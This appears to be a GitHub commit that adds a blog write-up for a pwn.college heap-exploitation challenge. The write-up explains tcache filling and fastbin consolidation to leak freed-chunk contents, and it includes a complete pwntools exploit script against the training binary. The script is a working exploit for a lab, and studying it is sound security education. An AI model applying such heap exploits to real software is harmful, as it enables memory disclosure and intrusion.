Skip to content

Commit d910896

Browse files
committed
F7-DAMM
1 parent 27b6d24 commit d910896

File tree

1 file changed

+72
-0
lines changed

1 file changed

+72
-0
lines changed
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
---
2+
layout: post
3+
title: (Dynamic Allocator Exploitation) level 1
4+
categories: pwn.college Dynamic-Allocator-Exploitation
5+
date: 2025-10-18 08:00:27 +0300
6+
tags: pwn.college PIE ASLR heap house-of-force tecache metadata house-of-spirit
7+
---
8+
## Information
9+
- category: pwn
10+
11+
12+
## Description
13+
> Leverage consolidation to obtain the flag.
14+
15+
## Write-up
16+
17+
Tcache holds up to **7** freed chunks of a given size.
18+
19+
Do: allocate N chunks of size S, then `free()` 7 of them to fill tcache.
20+
21+
***Then free one more chunk of size S — that one will go to fastbin instead of tcache.***
22+
23+
Later, perform the action (in this binary it’s `read_flag`/a `malloc` path) that causes consolidation. Now the freed chunk’s address can be returned. * Use `puts` (or similar) on that returned pointer — it prints whatever was left in the chunk (pointers, strings, etc.), leaking addresses.
24+
25+
## Exploit
26+
```python
27+
from pwn import *
28+
29+
elf = context.binary = ELF("/challenge/toddlerheap_level1.1")
30+
global p
31+
p = elf.process()
32+
33+
def malloc(idx,size):
34+
p.sendline(b"malloc")
35+
p.sendline(idx)
36+
p.sendline(size)
37+
38+
def free(idx):
39+
p.sendline(b"free")
40+
p.sendline(idx)
41+
42+
def puts(idx):
43+
p.sendline(b"puts")
44+
p.sendline(idx)
45+
46+
def read_flag():
47+
p.sendline(b"read_flag")
48+
49+
def quit():
50+
p.sendline(b"quit")
51+
52+
def exploit():
53+
for i in range(8):
54+
malloc(f"{i}".encode(),b"0")
55+
56+
for i in range(8):
57+
free(f"{i}".encode())
58+
59+
read_flag()
60+
61+
puts(b"7")
62+
63+
quit()
64+
65+
p.interactive()
66+
67+
def main():
68+
exploit()
69+
70+
if __name__ == "__main__":
71+
main()
72+
```

0 commit comments

Comments
 (0)